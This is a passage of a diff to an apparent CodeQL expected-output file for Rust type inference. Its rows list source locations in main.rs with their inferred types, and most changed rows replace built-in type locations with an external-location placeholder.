| MyPair | | main.rs:355:17:355:17 | b | P1 | main.rs:183:5:184:14 | S2 | | main.rs:355:17:355:17 | b | P2 | main.rs:181:5:182:14 | S1 | | main.rs:355:17:355:23 | b.snd() | | main.rs:183:5:184:14 | S2 | -| main.rs:356:18:356:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:356:18:356:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:356:26:356:26 | y | | main.rs:183:5:184:14 | S2 | | main.rs:360:13:360:13 | x | | main.rs:181:5:182:14 | S1 | | main.rs:360:17:360:39 | call_trait_m1(...) | | main.rs:181:5:182:14 | S1 | | main.rs:360:31:360:38 | thing_s1 | | main.rs:170:5:173:5 | MyThing | | main.rs:360:31:360:38 | thing_s1 | A | main.rs:181:5:182:14 | S1 | -| main.rs:361:18:361:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:361:18:361:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:361:26:361:26 | x | | main.rs:181:5:182:14 | S1 | | main.rs:362:13:362:13 | y | | main.rs:170:5:173:5 | MyThing | | main.rs:362:13:362:13 | y | A | main.rs:183:5:184:14 | S2 | @@ -423,7 +422,7 @@ inferType | main.rs:362:17:362:39 | call_trait_m1(...) | A | main.rs:183:5:184:14 | S2 | | main.rs:362:31:362:38 | thing_s2 | | main.rs:170:5:173:5 | MyThing | | main.rs:362:31:362:38 | thing_s2 | A | main.rs:183:5:184:14 | S2 | -| main.rs:363:18:363:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:363:18:363:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:363:26:363:26 | y | | main.rs:170:5:173:5 | MyThing | | main.rs:363:26:363:26 | y | A | main.rs:183:5:184:14 | S2 | | main.rs:363:26:363:28 | y.a | | main.rs:183:5:184:14 | S2 | @@ -440,14 +439,14 @@ inferType | main.rs:367:25:367:25 | a | | main.rs:175:5:179:5 | MyPair | | main.rs:367:25:367:25 | a | P1 | main.rs:181:5:182:14 | S1 | | main.rs:367:25:367:25 | a | P2 | main.rs:181:5:182:14 | S1 | -| main.rs:368:18:368:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:368:18:368:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:368:26:368:26 | x | | main.rs:181:5:182:14 | S1 | | main.rs:369:13:369:13 | y | | main.rs:181:5:182:14 | S1 | | main.rs:369:17:369:26 | get_snd(...) | | main.rs:181:5:182:14 | S1 | | main.rs:369:25:369:25 | a | | main.rs:175:5:179:5 | MyPair | | main.rs:369:25:369:25 | a | P1 | main.rs:181:5:182:14 | S1 | | main.rs:369:25:369:25 | a | P2 | main.rs:181:5:182:14 | S1 | -| main.rs:370:18:370:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:370:18:370:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:370:26:370:26 | y | | main.rs:181:5:182:14 | S1 | | main.rs:373:13:373:13 | b | | main.rs:175:5:179:5 | MyPair | | main.rs:373:13:373:13 | b | P1 | main.rs:183:5:184:14 | S2 | @@ -462,14 +461,14 @@ inferType | main.rs:374:25:374:25 | b | | main.rs:175:5:179:5 | MyPair | | main.rs:374:25:374:25 | b | P1 | main.rs:183:5:184:14 | S2 | | main.rs:374:25:374:25 | b | P2 | main.rs:181:5:182:14 | S1 | -| main.rs:375:18:375:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:375:18:375:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:375:26:375:26 | x | | main.rs:181:5:182:14 | S1 | | main.rs:376:13:376:13 | y | | main.rs:183:5:184:14 | S2 | | main.rs:376:17:376:26 | get_snd(...) | | main.rs:183:5:184:14 | S2 | | main.rs:376:25:376:25 | b | | main.rs:175:5:179:5 | MyPair | | main.rs:376:25:376:25 | b | P1 | main.rs:183:5:184:14 | S2 | | main.rs:376:25:376:25 | b | P2 | main.rs:181:5:182:14 | S1 | -| main.rs:377:18:377:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:377:18:377:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:377:26:377:26 | y | | main.rs:183:5:184:14 | S2 | | main.rs:379:13:379:13 | c | | main.rs:175:5:179:5 | MyPair | | main.rs:379:13:379:13 | c | P1 | main.rs:185:5:186:14 | S3 | @@ -510,11 +509,11 @@ inferType | main.rs:398:34:398:35 | s1 | | main.rs:392:5:393:14 | S1 | | main.rs:403:26:403:29 | SelfParam | | main.rs:392:5:393:14 | S1 | | main.rs:403:38:405:9 | { ... } | | main.rs:392:5:393:14 | S1 | -| main.rs:404:20:404:31 | "not called" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:404:20:404:31 | "not called" | | {EXTERNAL LOCATION} | str | | main.rs:408:28:408:31 | SelfParam | | main.rs:392:5:393:14 | S1 | | main.rs:408:34:408:35 | s1 | | main.rs:392:5:393:14 | S1 | | main.rs:408:48:410:9 | { ... } | | main.rs:392:5:393:14 | S1 | -| main.rs:409:20:409:31 | "not called" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:409:20:409:31 | "not called" | | {EXTERNAL LOCATION} | str | | main.rs:415:26:415:29 | SelfParam | | main.rs:392:5:393:14 | S1 | | main.rs:415:38:417:9 | { ... } | | main.rs:392:5:393:14 | S1 | | main.rs:416:13:416:16 | self | | main.rs:392:5:393:14 | S1 | @@ -523,10 +522,10 @@ inferType | main.rs:421:13:421:16 | self | | main.rs:392:5:393:14 | S1 | | main.rs:426:13:426:13 | x | | main.rs:392:5:393:14 | S1 | | main.rs:426:17:426:18 | S1 | | main.rs:392:5:393:14 | S1 | -| main.rs:427:18:427:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:427:18:427:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:427:26:427:26 | x | | main.rs:392:5:393:14 | S1 | | main.rs:427:26:427:42 | x.common_method() | | main.rs:392:5:393:14 | S1 | -| main.rs:428:18:428:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:428:18:428:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:428:26:428:26 | x | | main.rs:392:5:393:14 | S1 | | main.rs:428:26:428:44 | x.common_method_2() | | main.rs:392:5:393:14 | S1 | | main.rs:445:19:445:22 | SelfParam | | main.rs:443:5:446:5 | Self [trait FirstTrait] | @@ -535,25 +534,25 @@ inferType | main.rs:455:13:455:14 | s1 | | main.rs:453:35:453:42 | I | | main.rs:455:18:455:18 | x | | main.rs:453:45:453:61 | T | | main.rs:455:18:455:27 | x.method() | | main.rs:453:35:453:42 | I | -| main.rs:456:18:456:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:456:18:456:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:456:26:456:27 | s1 | | main.rs:453:35:453:42 | I | | main.rs:459:65:459:65 | x | | main.rs:459:46:459:62 | T | | main.rs:461:13:461:14 | s2 | | main.rs:459:36:459:43 | I | | main.rs:461:18:461:18 | x | | main.rs:459:46:459:62 | T | | main.rs:461:18:461:27 | x.method() | | main.rs:459:36:459:43 | I | -| main.rs:462:18:462:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:462:18:462:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:462:26:462:27 | s2 | | main.rs:459:36:459:43 | I | | main.rs:465:49:465:49 | x | | main.rs:465:30:465:46 | T | | main.rs:466:13:466:13 | s | | main.rs:435:5:436:14 | S1 | | main.rs:466:17:466:17 | x | | main.rs:465:30:465:46 | T | | main.rs:466:17:466:26 | x.method() | | main.rs:435:5:436:14 | S1 | -| main.rs:467:18:467:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:467:18:467:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:467:26:467:26 | s | | main.rs:435:5:436:14 | S1 | | main.rs:470:53:470:53 | x | | main.rs:470:34:470:50 | T | | main.rs:471:13:471:13 | s | | main.rs:435:5:436:14 | S1 | | main.rs:471:17:471:17 | x | | main.rs:470:34:470:50 | T | | main.rs:471:17:471:26 | x.method() | | main.rs:435:5:436:14 | S1 | -| main.rs:472:18:472:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:472:18:472:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:472:26:472:26 | s | | main.rs:435:5:436:14 | S1 | | main.rs:476:16:476:19 | SelfParam | | main.rs:475:5:479:5 | Self [trait Pair] | | main.rs:478:16:478:19 | SelfParam | | main.rs:475:5:479:5 | Self [trait Pair] | @@ -565,7 +564,7 @@ inferType | main.rs:484:13:484:14 | s2 | | main.rs:438:5:439:14 | S2 | | main.rs:484:18:484:18 | y | | main.rs:481:41:481:55 | T | | main.rs:484:18:484:24 | y.snd() | | main.rs:438:5:439:14 | S2 | -| main.rs:485:18:485:29 | "{:?}, {:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:485:18:485:29 | "{:?}, {:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:485:32:485:33 | s1 | | main.rs:435:5:436:14 | S1 | | main.rs:485:36:485:37 | s2 | | main.rs:438:5:439:14 | S2 | | main.rs:488:69:488:69 | x | | main.rs:488:52:488:66 | T | @@ -576,7 +575,7 @@ inferType | main.rs:491:13:491:14 | s2 | | main.rs:488:41:488:49 | T2 | | main.rs:491:18:491:18 | y | | main.rs:488:52:488:66 | T | | main.rs:491:18:491:24 | y.snd() | | main.rs:488:41:488:49 | T2 | -| main.rs:492:18:492:29 | "{:?}, {:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:492:18:492:29 | "{:?}, {:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:492:32:492:33 | s1 | | main.rs:435:5:436:14 | S1 | | main.rs:492:36:492:37 | s2 | | main.rs:488:41:488:49 | T2 | | main.rs:508:15:508:18 | SelfParam | | main.rs:507:5:516:5 | Self [trait MyTrait] | @@ -611,11 +610,11 @@ inferType | main.rs:536:17:536:33 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | | main.rs:536:17:536:33 | MyThing {...} | T | main.rs:504:5:505:14 | S2 | | main.rs:536:30:536:31 | S2 | | main.rs:504:5:505:14 | S2 | -| main.rs:538:18:538:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:538:18:538:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:538:26:538:26 | x | | main.rs:497:5:500:5 | MyThing | | main.rs:538:26:538:26 | x | T | main.rs:502:5:503:14 | S1 | | main.rs:538:26:538:31 | x.m1() | | main.rs:502:5:503:14 | S1 | -| main.rs:539:18:539:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:539:18:539:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:539:26:539:26 | y | | main.rs:497:5:500:5 | MyThing | | main.rs:539:26:539:26 | y | T | main.rs:504:5:505:14 | S2 | | main.rs:539:26:539:31 | y.m1() | | main.rs:504:5:505:14 | S2 | @@ -629,11 +628,11 @@ inferType | main.rs:542:17:542:33 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | | main.rs:542:17:542:33 | MyThing {...} | T | main.rs:504:5:505:14 | S2 | | main.rs:542:30:542:31 | S2 | | main.rs:504:5:505:14 | S2 | -| main.rs:544:18:544:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:544:18:544:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:544:26:544:26 | x | | main.rs:497:5:500:5 | MyThing | | main.rs:544:26:544:26 | x | T | main.rs:502:5:503:14 | S1 | | main.rs:544:26:544:31 | x.m2() | | main.rs:502:5:503:14 | S1 | -| main.rs:545:18:545:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:545:18:545:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:545:26:545:26 | y | | main.rs:497:5:500:5 | MyThing | | main.rs:545:26:545:26 | y | T | main.rs:504:5:505:14 | S2 | | main.rs:545:26:545:31 | y.m2() | | main.rs:504:5:505:14 | S2 | @@ -647,11 +646,11 @@ inferType | main.rs:548:18:548:34 | MyThing {...} | | main.rs:497:5:500:5 | MyThing | | main.rs:548:18:548:34 | MyThing {...} | T | main.rs:504:5:505:14 | S2 | | main.rs:548:31:548:32 | S2 | | main.rs:504:5:505:14 | S2 | -| main.rs:550:18:550:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:550:18:550:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:550:26:550:42 | call_trait_m1(...) | | main.rs:502:5:503:14 | S1 | | main.rs:550:40:550:41 | x2 | | main.rs:497:5:500:5 | MyThing | | main.rs:550:40:550:41 | x2 | T | main.rs:502:5:503:14 | S1 | -| main.rs:551:18:551:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:551:18:551:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:551:26:551:42 | call_trait_m1(...) | | main.rs:504:5:505:14 | S2 | | main.rs:551:40:551:41 | y2 | | main.rs:497:5:500:5 | MyThing | | main.rs:551:40:551:41 | y2 | T | main.rs:504:5:505:14 | S2 | @@ -678,14 +677,14 @@ inferType | main.rs:560:37:560:38 | x3 | | main.rs:497:5:500:5 | MyThing | | main.rs:560:37:560:38 | x3 | T | main.rs:497:5:500:5 | MyThing | | main.rs:560:37:560:38 | x3 | T.T | main.rs:502:5:503:14 | S1 | -| main.rs:561:18:561:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:561:18:561:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:561:26:561:26 | a | | main.rs:502:5:503:14 | S1 | | main.rs:562:13:562:13 | b | | main.rs:504:5:505:14 | S2 | | main.rs:562:17:562:39 | call_trait_thing_m1(...) | | main.rs:504:5:505:14 | S2 | | main.rs:562:37:562:38 | y3 | | main.rs:497:5:500:5 | MyThing | | main.rs:562:37:562:38 | y3 | T | main.rs:497:5:500:5 | MyThing | | main.rs:562:37:562:38 | y3 | T.T | main.rs:504:5:505:14 | S2 | -| main.rs:563:18:563:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:563:18:563:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:563:26:563:26 | b | | main.rs:504:5:505:14 | S2 | | main.rs:574:19:574:22 | SelfParam | | main.rs:568:5:571:5 | Wrapper | | main.rs:574:19:574:22 | SelfParam | A | main.rs:573:10:573:10 | A | @@ -759,7 +758,7 @@ inferType | main.rs:681:13:681:14 | S2 | | main.rs:622:5:623:14 | S2 | | main.rs:686:13:686:14 | x1 | | main.rs:619:5:620:13 | S | | main.rs:686:18:686:18 | S | | main.rs:619:5:620:13 | S | -| main.rs:688:18:688:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:688:18:688:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:688:26:688:27 | x1 | | main.rs:619:5:620:13 | S | | main.rs:688:26:688:32 | x1.m1() | | main.rs:625:5:626:14 | AT | | main.rs:690:13:690:14 | x2 | | main.rs:619:5:620:13 | S | @@ -767,31 +766,31 @@ inferType | main.rs:692:13:692:13 | y | | main.rs:625:5:626:14 | AT | | main.rs:692:17:692:18 | x2 | | main.rs:619:5:620:13 | S | | main.rs:692:17:692:23 | x2.m2() | | main.rs:625:5:626:14 | AT | -| main.rs:693:18:693:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:693:18:693:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:693:26:693:26 | y | | main.rs:625:5:626:14 | AT | | main.rs:695:13:695:14 | x3 | | main.rs:619:5:620:13 | S | | main.rs:695:18:695:18 | S | | main.rs:619:5:620:13 | S | -| main.rs:697:18:697:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:697:18:697:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:697:26:697:27 | x3 | | main.rs:619:5:620:13 | S | | main.rs:697:26:697:34 | x3.put(...) | | main.rs:568:5:571:5 | Wrapper | -| main.rs:697:26:697:34 | x3.put(...) | A | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:697:26:697:43 | ... .unwrap() | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:697:33:697:33 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:700:18:700:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:697:26:697:34 | x3.put(...) | A | {EXTERNAL LOCATION} | i32 | +| main.rs:697:26:697:43 | ... .unwrap() | | {EXTERNAL LOCATION} | i32 | +| main.rs:697:33:697:33 | 1 | | {EXTERNAL LOCATION} | i32 | +| main.rs:700:18:700:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:700:26:700:27 | x3 | | main.rs:619:5:620:13 | S | -| main.rs:700:36:700:36 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:700:39:700:39 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:700:36:700:36 | 2 | | {EXTERNAL LOCATION} | i32 | +| main.rs:700:39:700:39 | 3 | | {EXTERNAL LOCATION} | i32 | | main.rs:702:20:702:20 | S | | main.rs:619:5:620:13 | S | -| main.rs:703:18:703:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:703:18:703:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:705:13:705:14 | x5 | | main.rs:622:5:623:14 | S2 | | main.rs:705:18:705:19 | S2 | | main.rs:622:5:623:14 | S2 | -| main.rs:706:18:706:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:706:18:706:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:706:26:706:27 | x5 | | main.rs:622:5:623:14 | S2 | | main.rs:706:26:706:32 | x5.m1() | | main.rs:568:5:571:5 | Wrapper | | main.rs:706:26:706:32 | x5.m1() | A | main.rs:622:5:623:14 | S2 | | main.rs:707:13:707:14 | x6 | | main.rs:622:5:623:14 | S2 | | main.rs:707:18:707:19 | S2 | | main.rs:622:5:623:14 | S2 | -| main.rs:708:18:708:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:708:18:708:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:708:26:708:27 | x6 | | main.rs:622:5:623:14 | S2 | | main.rs:708:26:708:32 | x6.m2() | | main.rs:568:5:571:5 | Wrapper | | main.rs:708:26:708:32 | x6.m2() | A | main.rs:622:5:623:14 | S2 | @@ -824,11 +823,11 @@ inferType | main.rs:739:17:739:36 | ...::C2 {...} | | main.rs:717:5:721:5 | MyEnum | | main.rs:739:17:739:36 | ...::C2 {...} | A | main.rs:725:5:726:14 | S2 | | main.rs:739:33:739:34 | S2 | | main.rs:725:5:726:14 | S2 | -| main.rs:741:18:741:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:741:18:741:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:741:26:741:26 | x | | main.rs:717:5:721:5 | MyEnum | | main.rs:741:26:741:26 | x | A | main.rs:723:5:724:14 | S1 | | main.rs:741:26:741:31 | x.m1() | | main.rs:723:5:724:14 | S1 | -| main.rs:742:18:742:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:742:18:742:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:742:26:742:26 | y | | main.rs:717:5:721:5 | MyEnum | | main.rs:742:26:742:26 | y | A | main.rs:725:5:726:14 | S2 | | main.rs:742:26:742:31 | y.m1() | | main.rs:725:5:726:14 | S2 | @@ -836,9 +835,9 @@ inferType | main.rs:769:15:769:18 | SelfParam | | main.rs:767:5:779:5 | Self [trait MyTrait2] | | main.rs:772:9:778:9 | { ... } | | main.rs:767:20:767:22 | Tr2 | | main.rs:773:13:777:13 | if ... {...} else {...} | | main.rs:767:20:767:22 | Tr2 | -| main.rs:773:16:773:16 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:773:16:773:20 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:773:20:773:20 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:773:16:773:16 | 3 | | {EXTERNAL LOCATION} | i32 | +| main.rs:773:16:773:20 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:773:20:773:20 | 2 | | {EXTERNAL LOCATION} | i32 | | main.rs:773:22:775:13 | { ... } | | main.rs:767:20:767:22 | Tr2 | | main.rs:774:17:774:20 | self | | main.rs:767:5:779:5 | Self [trait MyTrait2] | | main.rs:774:17:774:25 | self.m1() | | main.rs:767:20:767:22 | Tr2 | @@ -848,9 +847,9 @@ inferType | main.rs:783:15:783:18 | SelfParam | | main.rs:781:5:793:5 | Self [trait MyTrait3] | | main.rs:786:9:792:9 | { ... } | | main.rs:781:20:781:22 | Tr3 | | main.rs:787:13:791:13 | if ... {...} else {...} | | main.rs:781:20:781:22 | Tr3 | -| main.rs:787:16:787:16 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:787:16:787:20 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:787:20:787:20 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:787:16:787:16 | 3 | | {EXTERNAL LOCATION} | i32 | +| main.rs:787:16:787:20 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:787:20:787:20 | 2 | | {EXTERNAL LOCATION} | i32 | | main.rs:787:22:789:13 | { ... } | | main.rs:781:20:781:22 | Tr3 | | main.rs:788:17:788:20 | self | | main.rs:781:5:793:5 | Self [trait MyTrait3] | | main.rs:788:17:788:25 | self.m2() | | main.rs:747:5:750:5 | MyThing | @@ -886,7 +885,7 @@ inferType | main.rs:821:17:821:17 | x | | main.rs:819:39:819:53 | T | | main.rs:821:17:821:22 | x.m1() | | main.rs:747:5:750:5 | MyThing | | main.rs:821:17:821:22 | x.m1() | A | main.rs:757:5:758:14 | S1 | -| main.rs:822:18:822:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:822:18:822:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:822:26:822:26 | a | | main.rs:747:5:750:5 | MyThing | | main.rs:822:26:822:26 | a | A | main.rs:757:5:758:14 | S1 | | main.rs:826:13:826:13 | x | | main.rs:747:5:750:5 | MyThing | @@ -899,11 +898,11 @@ inferType | main.rs:827:17:827:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | | main.rs:827:17:827:33 | MyThing {...} | A | main.rs:759:5:760:14 | S2 | | main.rs:827:30:827:31 | S2 | | main.rs:759:5:760:14 | S2 | -| main.rs:829:18:829:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:829:18:829:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:829:26:829:26 | x | | main.rs:747:5:750:5 | MyThing | | main.rs:829:26:829:26 | x | A | main.rs:757:5:758:14 | S1 | | main.rs:829:26:829:31 | x.m1() | | main.rs:757:5:758:14 | S1 | -| main.rs:830:18:830:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:830:18:830:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:830:26:830:26 | y | | main.rs:747:5:750:5 | MyThing | | main.rs:830:26:830:26 | y | A | main.rs:759:5:760:14 | S2 | | main.rs:830:26:830:31 | y.m1() | | main.rs:759:5:760:14 | S2 | @@ -917,11 +916,11 @@ inferType | main.rs:833:17:833:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | | main.rs:833:17:833:33 | MyThing {...} | A | main.rs:759:5:760:14 | S2 | | main.rs:833:30:833:31 | S2 | | main.rs:759:5:760:14 | S2 | -| main.rs:835:18:835:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:835:18:835:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:835:26:835:26 | x | | main.rs:747:5:750:5 | MyThing | | main.rs:835:26:835:26 | x | A | main.rs:757:5:758:14 | S1 | | main.rs:835:26:835:31 | x.m2() | | main.rs:757:5:758:14 | S1 | -| main.rs:836:18:836:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:836:18:836:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:836:26:836:26 | y | | main.rs:747:5:750:5 | MyThing | | main.rs:836:26:836:26 | y | A | main.rs:759:5:760:14 | S2 | | main.rs:836:26:836:31 | y.m2() | | main.rs:759:5:760:14 | S2 | @@ -935,11 +934,11 @@ inferType | main.rs:839:17:839:34 | MyThing2 {...} | | main.rs:752:5:755:5 | MyThing2 | | main.rs:839:17:839:34 | MyThing2 {...} | A | main.rs:759:5:760:14 | S2 | | main.rs:839:31:839:32 | S2 | | main.rs:759:5:760:14 | S2 | -| main.rs:841:18:841:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:841:18:841:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:841:26:841:26 | x | | main.rs:752:5:755:5 | MyThing2 | | main.rs:841:26:841:26 | x | A | main.rs:757:5:758:14 | S1 | | main.rs:841:26:841:31 | x.m3() | | main.rs:757:5:758:14 | S1 | -| main.rs:842:18:842:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:842:18:842:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:842:26:842:26 | y | | main.rs:752:5:755:5 | MyThing2 | | main.rs:842:26:842:26 | y | A | main.rs:759:5:760:14 | S2 | | main.rs:842:26:842:31 | y.m3() | | main.rs:759:5:760:14 | S2 | @@ -978,7 +977,7 @@ inferType | main.rs:880:9:880:16 | x.into() | | main.rs:876:17:876:18 | T2 | | main.rs:884:13:884:13 | x | | main.rs:856:5:857:14 | S1 | | main.rs:884:17:884:18 | S1 | | main.rs:856:5:857:14 | S1 | -| main.rs:885:18:885:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:885:18:885:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:885:26:885:31 | id(...) | | file://:0:0:0:0 | & | | main.rs:885:26:885:31 | id(...) | &T | main.rs:856:5:857:14 | S1 | | main.rs:885:29:885:30 | &x | | file://:0:0:0:0 | & | @@ -986,7 +985,7 @@ inferType | main.rs:885:30:885:30 | x | | main.rs:856:5:857:14 | S1 | | main.rs:887:13:887:13 | x | | main.rs:856:5:857:14 | S1 | | main.rs:887:17:887:18 | S1 | | main.rs:856:5:857:14 | S1 | -| main.rs:888:18:888:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:888:18:888:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:888:26:888:37 | id::<...>(...) | | file://:0:0:0:0 | & | | main.rs:888:26:888:37 | id::<...>(...) | &T | main.rs:856:5:857:14 | S1 | | main.rs:888:35:888:36 | &x | | file://:0:0:0:0 | & | @@ -994,7 +993,7 @@ inferType | main.rs:888:36:888:36 | x | | main.rs:856:5:857:14 | S1 | | main.rs:890:13:890:13 | x | | main.rs:856:5:857:14 | S1 | | main.rs:890:17:890:18 | S1 | | main.rs:856:5:857:14 | S1 | -| main.rs:891:18:891:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:891:18:891:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:891:26:891:44 | id::<...>(...) | | file://:0:0:0:0 | & | | main.rs:891:26:891:44 | id::<...>(...) | &T | main.rs:856:5:857:14 | S1 | | main.rs:891:42:891:43 | &x | | file://:0:0:0:0 | & | @@ -1018,9 +1017,9 @@ inferType | main.rs:912:19:912:22 | self | Fst | main.rs:910:10:910:12 | Fst | | main.rs:912:19:912:22 | self | Snd | main.rs:910:15:910:17 | Snd | | main.rs:913:43:913:82 | MacroExpr | | main.rs:910:15:910:17 | Snd | -| main.rs:913:50:913:81 | "PairNone has no second elemen... | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:913:50:913:81 | "PairNone has no second elemen... | | {EXTERNAL LOCATION} | str | | main.rs:914:43:914:81 | MacroExpr | | main.rs:910:15:910:17 | Snd | -| main.rs:914:50:914:80 | "PairFst has no second element... | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:914:50:914:80 | "PairFst has no second element... | | {EXTERNAL LOCATION} | str | | main.rs:915:37:915:39 | 